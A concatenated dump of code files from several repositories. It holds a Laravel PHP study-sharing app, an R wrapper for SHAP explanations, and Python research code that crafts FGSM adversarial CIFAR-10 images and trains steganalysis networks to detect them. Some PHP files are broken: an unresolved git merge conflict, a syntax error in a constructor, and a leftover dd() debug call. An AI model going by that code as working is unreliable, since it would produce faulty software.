use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Input; use Intervention\Image\ImageManagerStatic as Image; class AdminController extends Controller { /** * Show the application dashboard. * * @return \Illuminate\Http\Response */ public function index() { return view('admin.index'); } //プロフィール編集 public function GetCategory() { // User情報取得 $categories = Auth::user()->study_categories()->get(); return view('admin.Category',compact('categories')); } //プロフィール編集 public function GetAddCategory() { return view('admin.CategoryCreate'); } public function PostAddCategory(Study_categoryRequest $request) { $inputs = \Request::all(); if (array_key_exists('front',$inputs) ) { $img=Image::make($request->file('front')); $img->encode('jpg'); $imageName = uniqid().'.jpg'; //ファイルアップロード $img->resize(null, 300, function ($constraint) { $constraint->aspectRatio(); }); $img->fit(300, 300)->save(public_path('media/').Auth::user()->account.'/article/'.$imageName); $front_path='media/'.Auth::user()->account.'/article/'.$imageName; }else { $front_path='images/common/note.jpeg'; } $data = array( 'name' => $inputs['name'], 'memo' => $inputs['memo'], 'front'=>$front_path, ); Auth::user()->Study_categories()->create($data); \Session::flash('message', '勉強カテゴリを追加しました。'); // 追加 return redirect('home'); } //プロフィール編集 public function GetEditProfile() { // Parent情報取得 $profile = Auth::user()->profiles()->first(); //タグの切り分け if (!empty($profile['skill'])) { $tags=explode(',',$profile['skill']); }else { return view('admin.ProfileEdit',compact('profile')); } return view('admin.ProfileEdit',compact('profile','tags')); } //プロフィール編集 public function PostEditProfile(ProfileRequest $request) { $inputs = \Request::all(); if (array_key_exists('avatar',$inputs) ) { $img=Image::make($request->file('avatar')); $img->encode('jpg'); $imageName = 'avatar.jpg'; //ファイルアップロード $img->resize(null, 300, function ($constraint) { $constraint->aspectRatio(); }); $img->fit(300, 300)->save(public_path('media/').Auth::user()->account.'/'.$imageName); $avatar_path='media/'.Auth::user()->account.'/'.$imageName; }else { $avatar_path=Auth::user()->avatar; } if (array_key_exists('tags',$inputs) ) { if ( count($inputs['tags'])>10) { $errors=['tags'=>"タグは10個までにしてください。"]; return redirect()->back()->withErrors($errors)->withInput(); } //タグのバリデーション foreach ($inputs['tags'] as $value) { if (mb_strlen($value)>12) { $errors=['tags'=>"タグは1つ12文字までにしてください。"]; return redirect()->back()->withErrors($errors)->withInput(); } } //タグをコンマ区切りに直す foreach ($inputs['tags'] as $tag) { if(isset($tags)){ $tags=$tags.$tag.","; }else { $tags=$tag.","; } } $tags = substr($tags, 0, -1); }else { $tags=null; } $data = array( 'title' => $inputs['title'], 'name' => $inputs['name'], 'skill' => $tags, 'bio' => $inputs['bio'], 'avatar'=>$avatar_path, ); $profile = Auth::user()->profiles()->first(); $profile->update($data); if (!Auth::user()->activate) { Auth::user()->update(['name'=>$inputs['name'],'title'=>$inputs['title'],'avatar'=>$avatar_path,'activate'=>1]); }else { Auth::user()->update(['name'=>$inputs['name'],'title'=>$inputs['title'],'avatar'=>$avatar_path]); } \Session::flash('message', 'プロフィールを更新しました。'); // 追加 return redirect('user/'.Auth::user()->account); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use DB; use Auth; use \App\Lib\Parsedown; class Question extends Model { protected $parse; public function __construct(){ $this->parse=new Parsedown; $this->parse->setBreaksEnabled( true ); } protected $fillable = [ 'title', 'body', 'tags', ]; public function articles() { return $this->belongsTo('App\Article')->withTimestamps(); } public function users() { return $this->belongsTo('App\User'); } } <file_sep><?php namespace App\Http\Requests; use Illuminate\Foundation\Http\FormRequest; class BookmarkRequest extends FormRequest { /** * Determine if the user is authorized to make this request. * * @return bool */ public function authorize() { return true; } /** * Get the validation rules that apply to the request. * * @return array */ public function rules() { return [ 'bookmark_title' => 'max:30', 'bookmark_URL' => 'required|string|max:300|url', 'bookmark_memo' => 'max:300' ]; } } <file_sep><?php /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ Route::get('/', 'HomeController@welcome'); Auth::routes(); Route::group(['middleware' => 'auth'], function () { Route::get('/home', 'HomeController@index')->name('home'); Route::post('/home', 'HomeController@postHome'); Route::post('/home/post', 'HomeController@postPost'); Route::post('/home/record', 'HomeController@postRecord'); Route::post('/home/bookmark', 'HomeController@postBookmark'); Route::post('/article/{id}/likes', 'LikeController@store'); Route::post('/article/{id}/likes/{like}', 'LikeController@destroy'); Route::post('/article/{id}/votes', 'VoteController@store'); Route::post('/article/{id}/votes/{vote}','VoteController@change'); Route::get('/dashboard','AdminController@index'); Route::get('/dashboard/profile/edit','AdminController@GetEditProfile'); Route::post('/dashboard/profile/edit','AdminController@PostEditProfile'); Route::get('/dashboard/category','AdminController@getCategory'); Route::get('/dashboard/category/add','AdminController@getAddcategory'); Route::post('/dashboard/category/add','AdminController@postAddcategory'); Route::get('/question/create', 'questionController@create'); Route::post('/question/create','questionController@postCreate'); Route::get('/user/{account}/question/{id}/answer', 'QuestionController@createAnswer'); }); Route::get('/question', 'questionController@index'); Route::get('/doc', 'DocController@index'); Route::get('/note', 'NoteController@index'); Route::get('/user/{account}', 'UserController@index'); Route::get('/user/{account}/question/{id}', 'QuestionController@showQuestion'); <file_sep><?php namespace App\lib; class marked{ public function __construct{ } public function marked($src , $opt=null){ } } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Support\Facades\Auth; use Illuminate\Http\Request; use App\Article; use App\Question; use App\Http\Requests\QuestionRequest; use \App\Lib\Parsedown; class QuestionController extends Controller { protected $parse; public function __construct(){ $this->parse=new Parsedown; $this->parse->setBreaksEnabled( true ); } public function index() { $articles = Article::where('type', 'Question')->latest()->paginate(20); foreach ($articles as $key=>$article) { $prof=$article->user()->first(); $articles[$key]->name = $prof->name; $articles[$key]->account = $prof->account; $articles[$key]->avatar = $prof->avatar; } return view('Question.index',compact('articles')); } public function create() { return view('admin.QuestionCreate'); } public function postCreate(QuestionRequest $request) { $inputs = \Request::all(); if (count($inputs['tags'])>5) { $msg="タグは5つまでにしてください。"; return redirect()->back()->withErrors($msg)->withInput(); } //タグのバリデーション foreach ($inputs['tags'] as $value) { if (mb_strlen($value)>12) { $msg="タグは1つ12文字までにしてください。"; return redirect()->back()->withErrors($msg)->withInput(); } } //タグをコンマ区切りに直す foreach ($inputs['tags'] as $tag) { if(isset($tags)){ $tags=$tags.$tag.","; }else { $tags=$tag.","; } } $tags = substr($tags, 0, -1); $data = array( 'title' => $inputs['title'], 'body' => $inputs['body'], 'tags' => $tags, ); $articledata=['type'=>'question']; $article=Auth::user()->articles()->create($articledata); //dd($article->questions()->create($data)); $result=Question::create($data); //dd($result); return redirect('user/'.Auth::user()->account.'/question/'.$result['article_id']); } public function showQuestion($account,$id){ $article=Article::findOrFail($id); $question = Article::findOrFail($id)->questions()->first(); $question->prof=Article::findOrFail($id)->user()->first(); $question->tags=explode(',',$question->tags); //元の質問のMarkdownをパースする $question->body=$this->parse->text($question->body); //投票情報 if (!Auth::guest()) { $article->vote = $article->votes()->where('user_id', Auth::user()->id)->first(); } return view('question.show',compact('question','article')); } public function createAnswer($account,$id){ $article=Article::findOrFail($id); $question = Article::findOrFail($id)->questions()->first(); return view('question.createAnswer',compact('question','article')); } } <file_sep><?php namespace App; use Illuminate\Database\Eloquent\Model; use App\Question; class Answer extends Model { <<<<<<< HEAD protected $fillable = [ 'body','user_id','answer_to' ]; public function articles() { return $this->belongsTo('App\Article')->withTimestamps(); } public function article() { return $this->belongsTo('App\Article'); } public function users() { return $this->belongsTo('App\User'); } public function getQuestion() { $question=Question::where('id',$this->answer_to)->first(); return $question; } public function getArticle() { return $this->belongsTo('App\Article')->first(); } ======= // >>>>>>> parent of 67a5b22... 回答機能追加 } <file_sep><?php namespace App\Http\Controllers; use Illuminate\Support\Facades\Auth; use Illuminate\Http\Request; use App\Study_category; use App\Article; use App\Http\Requests\PostRequest; use App\Http\Requests\BookmarkRequest; use App\Http\Requests\RecordRequest; use Illuminate\Support\Facades\Validator; class HomeController extends Controller { /** * Create a new controller instance. * * @return void */ public function __construct() { //$this->middleware('auth'); } public function welcome() { $articles = article::latest('updated_at')->get(); foreach ($articles as $key=>$article) { $prof=$article->user()->find(1); $articles[$key]->name = $prof->name; $articles[$key]->account = $prof->account; $articles[$key]->avatar = $prof->avatar; switch ($article->type) { case 'post': $post=$article->posts()->get(); $articles[$key]->body = $post[0]->body; break; case 'record': $record=$article->records()->get(); $category=$record[0]->get_study_categories(); $articles[$key]->category=$category; $articles[$key]->memo = $record[0]->memo; $articles[$key]->record = date("H:i",strtotime($record[0]->record)); break; case 'bookmark': $bookmark=$article->bookmarks()->get(); $articles[$key]->title = $bookmark[0]->title; $articles[$key]->url = $bookmark[0]->url; $articles[$key]->memo = $bookmark[0]->memo; break; case 'question': $question=$article->questions()->get(); $articles[$key]->title = $question[0]->title; $articles[$key]->tags = $question[0]->tags; $articles[$key]->body = $question[0]->body; $articles[$key]->tags=explode(',',$articles[$key]->tags); break; default: # code... break; } } return view('welcome',compact('articles')); } /** * Show the application dashboard. * * @return \Illuminate\Http\Response */ public function index() { //勉強カテゴリ $data = Auth::user()->study_categories()->get(); if ($data) { $study_categories = array('none'=>'選択してください'); foreach ($data as $value) { $study_categories[$value['id']]=$value['name']; } $study_categories+= ['add'=>"カテゴリを追加する"]; }else { $study_categories=['add'=>'カテゴリを追加する']; } $articles = Article::latest()->paginate(20); foreach ($articles as $key=>$article) { $prof=$article->user()->find(1); $articles[$key]->name = $prof->name; $articles[$key]->account = $prof->account; $articles[$key]->avatar = $prof->avatar; switch ($article->type) { case 'post': $post=$article->posts()->get(); $articles[$key]->body = $post[0]->body; break; case 'record': $record=$article->records()->get(); $category=$record[0]->get_study_categories(); $articles[$key]->category=$category; $articles[$key]->memo = $record[0]->memo; $articles[$key]->record = date("H:i",strtotime($record[0]->record)); break; case 'bookmark': $bookmark=$article->bookmarks()->get(); $articles[$key]->title = $bookmark[0]->title; $articles[$key]->url = $bookmark[0]->url; $articles[$key]->memo = $bookmark[0]->memo; break; case 'question': $question=$article->questions()->get(); $articles[$key]->title = $question[0]->title; $articles[$key]->tags = $question[0]->tags; $articles[$key]->body = $question[0]->body; $articles[$key]->tags=explode(',',$articles[$key]->tags); break; case 'answer': $answer=$article->answers()->first(); $question=$answer->getQuestion(); $prof=$question->users(); dd($prof); $question->account=$prof->account; $articles[$key]->question=$question; break; default: # code... break; } //自分のLike $articles[$key]->like = $article->likes()->where('user_id', Auth::user()->id)->first(); } return view('home',compact('study_categories','articles')); } public function postPost(PostRequest $request){ $articledata=['type'=>'post']; $data=['body'=>$request['post_body']]; $article=Auth::user()->articles()->create($articledata); $article->posts()->create($data); return redirect('/home'); } public function postRecord(RecordRequest $request){ $articledata=['type'=>'record']; if (!$request['memo']){ $request['memo']=''; } if ($request['category']=='none' or $request['category']=='add') { $cate=-1; }else { $cate=$request['category']; } $data=[ 'record'=>$request['record_time'], 'memo'=>$request['record_memo'], 'study_category_id'=>$cate, ]; $article=Auth::user()->articles()->create($articledata); $article->records()->create($data); return redirect('/home'); } public function postBookmark(BookmarkRequest $request){ $articledata=['type'=>'bookmark']; if (!$request['bookmark_memo']){ $request['bookmark_memo']=''; } $data=[ 'title'=>$request['bookmark_title'], 'url'=>$request['bookmark_URL'], 'memo'=>$request['bookmark_memo'], ]; $article=Auth::user()->articles()->create($articledata); $article->bookmarks()->create($data); return redirect('/home'); } }
6470edb05b41e1bfd5189bf1ec4f6d63ffe60890
[ "JavaScript", "PHP" ]
15
PHP
BigTheBudoh/LearnHub
912afeaab05b29d1e07485ea3973f77d5d5f2f81
77c7abf2a069312ceb6665a7239bbe18b89fb26a
refs/heads/master
<file_sep>--- title: "How to use shapper" author: "<NAME>" date: "`r Sys.Date()`" output: html_document: toc: true toc_float: true number_sections: true vignette: > %\VignetteEngine{knitr::knitr} %\VignetteIndexEntry{How to use shapper} %\usepackage[UTF-8]{inputenc} --- ```{r setup, include=FALSE} knitr::opts_chunk$set(echo = TRUE, message = FALSE, warning = FALSE) ``` # Model preparation ```{r} library("shapper") library("DALEX") library("randomForest") Y_train <- HR$status x_train <- HR[ , -6] x_train$gender <- as.numeric(x_train$gender) set.seed(123) model_rf <- randomForest(x = x_train, y = Y_train) ``` # Caculating individual variable attributions ```{r} p_fun <- function(x, data){ predict(x, newdata = data, type = "prob") } ive <- individual_variable_effect(x = model_rf, data = x_train, predict_function = p_fun, new_observation = x_train[1,]) ive ``` # Plotting results ```{r, fig.height=7.5, fig.width=3.5} plot(ive) ``` <file_sep>#' @title Plots Attributions for Variables of Individual Prediction #' #' @description Function 'plot.individual_variable_effect' plots variables effects plots. #' #' @param x an individual variable effect explainer produced with function `individual_variable_effect()` #' @param ... other explainers that shall be plotted together #' @param id of observation. By default first observation is taken. #' @param digits number of decimal places (round) or significant digits (signif) to be used. See the \code{rounding_function} argument. #' @param rounding_function function that is to used for rounding numbers. It may be \code{signif()} which keeps a specified number of significant digits. Or the default \code{round()} to have the same precision for all components #' #' @import ggplot2 #' #' @return a ggplot2 object #' #' @examples #' \dontrun{ #' library("shapper") #' library("DALEX") #' library("randomForest") #' Y_train <- HR$status #' x_train <- HR[ , -6] #' x_train$gender <- as.numeric(x_train$gender) #' set.seed(123) #' model_rf <- randomForest(x = x_train, y = Y_train) #' p_fun <- function(x, data){ #' predict(x, newdata = data, type = "prob") #' } #' res <- individual_variable_effect(x = model_rf, data = x_train, #' predict_function = p_fun, #' new_observation = x_train[1,]) #' plot(res) #' } #' #' @method plot individual_variable_effect #' #' @export plot.individual_variable_effect <- function(x, ..., id = 1, digits = 3, rounding_function = round) { `_id_` <- `_attribution_` <- `_sign_` <- `_vname_` <- `_varvalue_` <- NULL dfl <- c(list(x), list(...)) x <- do.call(rbind, dfl) class(x) <- "data.frame" x <- x[x$`_id_` %in% id, ] x$`_vname_` <- reorder(x$`_vname_`, x$`_attribution_`, function(z) -sum(abs(z))) levels(x$`_vname_`) <- paste(sapply(1:6, substr, x=" ", start=1), levels(x$`_vname_`)) ggplot(x, aes(x=`_vname_`, xend=`_vname_`, yend = `_yhat_mean_`, y = `_yhat_mean_` + `_attribution_`, color=`_sign_`)) + geom_segment(arrow = arrow(length=unit(0.30,"cm"), ends="first", type = "closed")) + geom_text(aes(label = round(`_attribution_`, 2)), nudge_x = 0.45) + geom_segment(aes(x = "_predicted_",xend = "_predicted_", y = `_yhat_`, yend = `_yhat_mean_`), size = 2, color="black", arrow = arrow(length=unit(0.30,"cm"), ends="first", type = "closed")) + geom_text(aes(x = "_predicted_", y = `_yhat_`, label = round(`_yhat_`, 2)), nudge_x = 0.45, color="black") + geom_hline(aes(yintercept = `_yhat_mean_`)) + facet_grid(`_id_` + `_ylevel_` ~ `_label_`) + scale_color_manual(values = c(`-` = "#d8b365", `0` = "#f5f5f5", `+` = "#5ab4ac", X = "darkgrey")) + coord_flip() + theme_minimal() + theme(legend.position="none") + xlab("") + ylab("") } <file_sep># shapper [![CRAN_Status_Badge](http://www.r-pkg.org/badges/version/shapper)](https://CRAN.R-project.org/package=shapper) [![Build Status](https://travis-ci.org/ModelOriented/shapper.svg?branch=master)](https://travis-ci.org/ModelOriented/shapper) [![Coverage Status](https://img.shields.io/codecov/c/github/ModelOriented/shapper/master.svg)](https://codecov.io/github/ModelOriented/shapper?branch=master) [![Binder](https://mybinder.org/badge_logo.svg)](https://mybinder.org/v2/gh/ModelOriented/shapper/master?filepath=binder%2Fshapper.ipynb) An R wrapper of SHAP python library [Pkgdown Website]( https://modeloriented.github.io/shapper/) ## Instalation ``` devtools::install_github("ModelOriented/shapper") ``` You can install shap Python library via ``` shapper::install_shap() ``` ## Example ``` library(shapper) library("DALEX") library("randomForest") Y_train <- HR$status x_train <- HR[ , -6] x_train$gender <- as.numeric(x_train$gender) set.seed(123) model_rf <- randomForest(x = x_train, y = Y_train) p_fun <- function(x, data){ predict(x, newdata = data, type = "prob") } ive <- individual_variable_effect(x = model_rf, data = x_train, predict_function = p_fun, new_observation = x_train[1,]) plot(ive) ``` <file_sep>#' @title Install shap Python library #' #' @param method Installation method. By default, "auto". #' It is passed to the \code{\link[reticulate]{py_install}} function form package `reticulate`. #' @param conda Path to conda executable. #' It is passed to the \code{\link[reticulate]{py_install}} function form package `reticulate`. #' #' @export install_shap <- function(method = "auto", conda = "auto") { reticulate::py_install("shap", method = method, conda = conda) } <file_sep>install.packages("devtools") library('devtools') install_github("ModelOriented/shapper") install.packages("randomForest") install.packages("DALEX") shapper::install_shap()
55220ac6fc614cd6a8ae194e67f6f581c6f34d43
[ "Markdown", "R", "RMarkdown" ]
5
RMarkdown
komosinskid/shapper
f075b668558d570a41039bdf651955207a598ba6
35e9bd53007149272b049d4bb186d32844330fd9
refs/heads/master
<file_sep>import torch.nn as nn # AlexNet图像分类 class AlexNet(nn.Module): def __init__(self, n_channls, n_out): super(AlexNet, self).__init__() self.conv = nn.Sequential( # CIFAR10的图片为 [3,32,32],所以对原来的AlexNet网络进行了改造 nn.Sequential( # 这是原来的卷积层 # nn.Conv2d(n_channls, out_channels=96, kernel_size=11, stride=4), # 修改后的卷积层 nn.Conv2d(n_channls, 96, 3), # 生成的数据 [96,30,30] nn.ReLU(), # 这是原来的池化层 # nn.MaxPool2d(kernel_size=3,stride=2), # 修改后的池化层 nn.MaxPool2d(2,2), # 生成的数据 [96,15,15] # 查阅资料发现LRB函数影响计算且效果并没有明显改善,所以去掉 # nn.LocalResponseNorm(size=5) ), nn.Sequential( # 这是未修改的卷积层 # nn.Conv2d(96,256,5,padding=2), # 这是修改后的卷积层 nn.Conv2d(96, 256, 3, padding=1), # 生成的数据 [256,15,15] nn.ReLU(), nn.MaxPool2d(3, 2), # 生成的数据 [256,6,6] # 去掉LRB函数 # nn.LocalResponseNorm(5) ), nn.Sequential( nn.Conv2d(256, 384, 3, padding=1), # 生成的数据 [384,6,6] nn.ReLU() ), nn.Sequential( nn.Conv2d(384, 384, 3, padding=1), # 生成的数据 [384,6,6] nn.ReLU() ), nn.Sequential( nn.Conv2d(384, 256, 3, padding=1), # 生成的数据 [256,6,6] nn.ReLU(), # 这是原来的池化层 # nn.MaxPool2d(3, 2) # 这是修改后的池化层 nn.MaxPool2d(2, 2) # 生成的数据 [256,3,3] ) ) self.fc = nn.Sequential( nn.Dropout(0.5), # 随机去掉一半的神经元 # nn.Linear(6 * 6 * 256, 4096), # 原来的全连接层 nn.Linear(3 * 3 * 256, 2048), # 现在的全连接层 nn.ReLU(), nn.Dropout(0.5), # 随机去掉一半的神经元 # nn.Linear(4096, 4096), # 原来的全连接层 nn.Linear(2048, 1024), # 现在的全连接层 nn.ReLU(), nn.Dropout(0.5), # 随机去掉一半的神经元 # nn.Linear(4096, n_out) #原来的全连接层 nn.Linear(1024, n_out) # 现在的全连接层 ) def forward(self, input): x = self.conv(input) x = x.view(-1, 3*3*256) out = self.fc(x) return out def init(channel, dim_out): return AlexNet(channel, dim_out)<file_sep>import torch import numpy as np from torch.utils.data import Dataset # 封装对抗样本 class adv_dataset(Dataset): def __init__(self, train, transform=None): self.transform = transform self.train = train if self.train: self.train_data = np.load('./file/train_data_adv.npy') # 训练样本图片 self.train_label = np.load('./file/train_label_adv.npy') # 训练样本标签 else: self.test_data = np.load('./file/test_data_adv.npy') # 测试样本图片 self.test_label = np.load('./file/test_label_adv.npy') # 测试样本标签 def __getitem__(self, index): if self.train: img, target = torch.tensor(self.train_data[index][0]), torch.tensor(self.train_label[index]).long() else: img, target = torch.tensor(self.test_data[index][0]), torch.tensor(self.test_label[index]).long() if self.transform is not None: img = self.transform(img) return img, target def __len__(self): if self.train: return len(self.train_data) else: return len(self.test_data) <file_sep># 生成对抗样本 import torch import numpy as np import torchvision import torch.nn as nn from torchvision import transforms from torch.utils.data import DataLoader from advertorch.attacks import GradientSignAttack from torch.autograd import Variable from AlexNet import AlexNet cifar10Path = './data' batch_size = 10 AlexNet = AlexNet(3, 10).cuda() AlexNet.load_state_dict(torch.load('./file/cifar_AlexNet.pt')) transform = transforms.Compose([ transforms.ToTensor(), ]) train_data_set = torchvision.datasets.CIFAR10(root=cifar10Path, train=True, transform=transform, download=True) train_loader = DataLoader(dataset=train_data_set, batch_size=batch_size, shuffle=True) test_data_set = torchvision.datasets.CIFAR10(root=cifar10Path, train=False, transform=transform, download=True) test_loader = DataLoader(dataset=test_data_set, batch_size=batch_size, shuffle=False) # FGSM adversary = GradientSignAttack(AlexNet, loss_fn=nn.CrossEntropyLoss(reduction="sum"), eps=0.004, clip_min=0., clip_max=1., targeted=True) def generate_sample(loader, path_data, path_label): data_adv = [] label_adv = [] i = 0 for step, (true_data, true_label) in enumerate(loader): true_data = Variable(true_data).cuda() true_label = Variable(true_label).cuda() data = true_data i += 1 if i % 2 == 1: for j in range(20): adv_targeted = adversary.perturb(data, (true_label + 1) % 10) data = adv_targeted # with torch.no_grad(): # outputs = cifarNet(adv_targeted) # _, predicted = torch.max(outputs.data, 1) for k in range(batch_size): data_adv.append([data.cpu().detach().numpy()[k]]) label_adv.append(1) else: for k in range(batch_size): data_adv.append([data.cpu().numpy()[k]]) label_adv.append(0) print(np.shape(np.array(data_adv))) print(np.shape(np.array(label_adv))) np.save(path_data, np.array(data_adv)) np.save(path_label, np.array(label_adv)) if __name__ == '__main__': generate_sample(train_loader, './file/train_data_adv.npy', './file/train_label_adv.npy') generate_sample(test_loader, './file/test_data_adv.npy', './file/test_label_adv.npy')<file_sep>import numpy as np from torchvision import datasets from adv_dataset import adv_dataset from torch.utils.data import dataloader import torch.optim as optim from torchvision import transforms import YeNet import XuNet import WuNet import AlexNet import YeNet2 import utils batch_size = 128 transform = transforms.Compose([ transforms.ToTensor(), ]) set1 = datasets.CIFAR10("./data", train=False, transform=transform, download=True) loader1 = dataloader.DataLoader(set1, batch_size=batch_size, shuffle=True, num_workers=2) train_dataset = adv_dataset(train=True) test_dataset = adv_dataset(train=False) train_loader = dataloader.DataLoader(dataset=train_dataset, batch_size=batch_size, shuffle=True) test_loader = dataloader.DataLoader(dataset=test_dataset, batch_size=batch_size, shuffle=True) if __name__ == '__main__': # XuNet 检测对抗样本 net = XuNet.XuNet().cuda() optimizer = optim.Adadelta(net.parameters(), lr=0.001, rho=0.95, eps=1e-8, weight_decay=5e-4) net = utils.train(train_loader, test_loader, epochs=100, path='./file/adv_XuNet.pt', net=net, optimizer=optimizer) # YeNet 检测对抗样本 # net = YeNet.YeNet().cuda() # optimizer = optim.Adadelta(net.parameters(), lr=0.001, rho=0.95, eps=1e-8, weight_decay=5e-4) # net = utils.train(train_loader, test_loader, epochs=100, path='./file/adv_YeNet.pt', net=net, optimizer=optimizer) # WuNet 检测对抗样本 # net = WuNet.init().cuda() # optimizer = optim.Adadelta(net.parameters(), lr=0.001, rho=0.95, eps=1e-8, weight_decay=5e-4) # net = utils.train(train_loader, test_loader, epochs=100, path='./file/adv_WuNet.pt', net=net, optimizer=optimizer) # YeNet 取消预处理层检测对抗样本 # net = YeNet2.init().cuda() # optimizer = optim.Adadelta(net.parameters(), lr=0.001, rho=0.95, eps=1e-8, weight_decay=5e-4) # net = utils.train(train_loader, test_loader, epochs=100, path='./file/adv_YeNet2.pt', net=net, optimizer=optimizer) # AlexNet 检测对抗样本 # net = AlexNet.init(3, 2).cuda() # optimizer = optim.Adadelta(net.parameters(), lr=0.001, rho=0.95, eps=1e-8, weight_decay=5e-4) # net = utils.train(train_loader, test_loader, epochs=100, path='./file/adv_AlexNet.pt', net=net, optimizer=optimizer) <file_sep>import numpy as np import torch import torch.nn as nn from torch.autograd import Variable # 训练模型 def train(train_loader, test_loader, epochs, path, net, optimizer): """ 训练网络模型 :param train_loader:训练时使用的数据集 :param test_loader: 测试时使用的数据集 :param epochs: 训练的次数 :param path:训练后得到的模型保存路径 :param net:传进来训练的网络模型 :return: 训练得到的模型 """ if net == None: print("模型为空") return loss_fuc = nn.CrossEntropyLoss().cuda() print("Training...") running_loss = 0.0 for epoch in range(epochs): for step, (data, label) in enumerate(train_loader): data, label = Variable(data).cuda(), Variable(label).cuda() optimizer.zero_grad() out = net(data) loss = loss_fuc(out, label) loss.backward() optimizer.step() running_loss += loss.item() if step % 100 == 1: # 每100步记录一遍loss值和正确率 print("step =", step, "\tepoch =", epoch, "\tloss = {:.4f}".format(running_loss/100)) running_loss = 0.0 print("right ", cal_right_rate(test_loader, net)) torch.save(net.state_dict(), path) # 保存训练得到的网络模型 print('Finish Training') return net # 测试模型 def cal_right_rate(test_loader, net): """ 计算正确率的函数 :param test_loader:传入的测试数据集,需要被DataLoader封装 :param net:训练的网络 :return:在测试集上的正确率 """ total = 0 right = 0 for step, (data, label) in enumerate(test_loader): data, label = Variable(data).cuda(), Variable(label).cuda() # print(np.shape(data)) # print(np.shape(label)) out = net(data) out_data = out.data _, predict = torch.max(out_data, 1) total += label.size()[0] right += (label == predict).sum().item() return right/total <file_sep>import numpy as np import torch import torch.nn as nn from torch.nn.parameter import Parameter import torch.nn.functional as F # 卷积模块 class ConvBlock(nn.Module): def __init__(self, in_channels, out_channels, kernel_size=3, stride=1, with_bn=False): super(ConvBlock, self).__init__() # 卷积运算 self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, padding=1) # relu激活函数 self.relu = nn.ReLU() self.reset_parameters() def forward(self, x): # 前向运算 return self.relu(self.conv(x)) def reset_parameters(self): # 卷积模块权值初始化 nn.init.xavier_uniform_(self.conv.weight) # 偏置初始化 self.conv.bias.data.fill_(0.2) # YeNet2总体 class YeNet2(nn.Module): # 构造网络 def __init__(self): super(YeNet2, self).__init__() # 卷积模块 self.block2 = ConvBlock(3, 30, 3) self.block3 = ConvBlock(30, 30, 3) self.block4 = ConvBlock(30, 30, 3) # pooling self.pool1 = nn.AvgPool2d(2, 2) self.block5 = ConvBlock(30, 32, 3,) self.pool2 = nn.AvgPool2d(2, 2) self.block6 = ConvBlock(32, 32, 3,) self.pool3 = nn.AvgPool2d(2, 2) self.block7 = ConvBlock(32, 32, 3,) self.pool4 = nn.AvgPool2d(2, 2) self.block8 = ConvBlock(32, 16, 3) self.block9 = ConvBlock(16, 16, 3) # 线性激活层 self.ip1 = nn.Linear(4 * 4 * 16, 2) # 根据条件重置参数 self.reset_parameters() # 前向计算 def forward(self, x): # 转换成float x = x.float() # 卷积运算 x = self.block2(x) x = self.block3(x) x = self.block4(x) # pooling x = self.pool1(x) # print(np.shape(x)) x = self.block5(x) x = self.pool2(x) # print(np.shape(x)) x = self.block6(x) # x = self.pool3(x) x = self.block7(x) x = self.pool4(x) # print(np.shape(x)) x = self.block8(x) x = self.block9(x) # print(np.shape(x)) # 维度转换 x = x.view(x.size(0), -1) # 全连接层 x = self.ip1(x) return x def reset_parameters(self): for mod in self.modules(): # 卷积层重置参数,这个根据卷积层,图像预处理层 if isinstance(mod, ConvBlock): mod.reset_parameters() # 线性激活层 elif isinstance(mod, nn.Linear): # 权值初始化 nn.init.normal_(mod.weight, 0., 0.01) # 偏置初始化 mod.bias.data.zero_() def init(): return YeNet2()<file_sep>import numpy as np from torchvision import transforms from torchvision import datasets from torch.utils.data import dataloader from torch import optim from AlexNet import AlexNet import utils batch_size = 128 transform = transforms.Compose([ transforms.ToTensor(), # transforms.Normalize((0.5, 0.5, 0.5), (0.5, 0.5, 0.5)) ]) train_data = datasets.CIFAR10("./data", train=True, transform=transform, download=True) test_data = datasets.CIFAR10("./data", train=False, transform=transform, download=True) train_loader = dataloader.DataLoader(dataset=train_data, batch_size=batch_size, shuffle=True, num_workers=2) test_loader = dataloader.DataLoader(dataset=test_data, batch_size=batch_size, shuffle=False, num_workers=2) classes = ('plane', 'car', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck') if __name__ == '__main__': net = AlexNet(3, 10).cuda() optimizer = optim.Adam(net.parameters()) alex_net = utils.train(train_loader, test_loader, epochs=50, path='./file/cifar_AlexNet.pt', net=net, optimizer=optimizer)<file_sep>import torch import torch.nn as nn import torch.nn.functional as F import numpy as np # 定义整个网络 class XuNet(nn.Module): # 定义结构 def __init__(self): super(XuNet, self).__init__() # 卷积层 self.conv0 = nn.Conv2d(3, 1, 5, 1, bias=False) self.conv1 = nn.Conv2d(1, 8, 5, 1, bias=False) # bn层 self.bn1 = nn.BatchNorm2d(8) self.conv2 = nn.Conv2d(8, 16, 5, 1, bias=False) self.bn2 = nn.BatchNorm2d(16) self.conv3 = nn.Conv2d(16, 32, 5, 1, bias=False) self.bn3 = nn.BatchNorm2d(32) self.conv4 = nn.Conv2d(32, 64, 1, 1, bias=False) self.bn4 = nn.BatchNorm2d(64) self.conv5 = nn.Conv2d(64, 128, 1, 1, bias=False) self.bn5 = nn.BatchNorm2d(128) # 全连接层 self.fc = nn.Linear(128, 2) # 图像预处理层的权值初始化 lst = [[[-1, 2, -2, 2, -1], [2, -6, 8, -6, 2], [-2, 8, -12, 8, -2], [2, -6, 8, -6, 2], [-1, 2, -2, 2, -1]] ] * 3 kv = np.array(lst) * (1.0/12) kv = np.array([kv]) kv = torch.Tensor(kv) self.conv0.weight = nn.Parameter(data=kv) # 其他层的权值和偏置初始化 convcnt = 0 for m in self.modules(): # 卷积层 if isinstance(m, nn.Conv2d): if (convcnt != 0): # 正态分布 m.weight.data.normal_(0.0, 0.01) convcnt += 1 # 全连接层 elif isinstance(m,nn.Linear): # Xavier初始化 nn.init.xavier_uniform_(m.weight, gain=1) # 前向传播 def forward(self, x): out = self.conv0(x) # Group 1 out = self.conv1(out) out = F.leaky_relu(out, -1.0) out = self.bn1(out) out = torch.tanh(out) # out = F.avg_pool2d(out, 5, 2) # Group 2 out = self.conv2(out) out = self.bn2(out) out = torch.tanh(out) out = F.avg_pool2d(out, 5, 2) # Group 3 out = self.conv3(out) out = self.bn3(out) out = F.relu(out) # out = F.avg_pool2d(out, 5, 2) # Group 4 out = 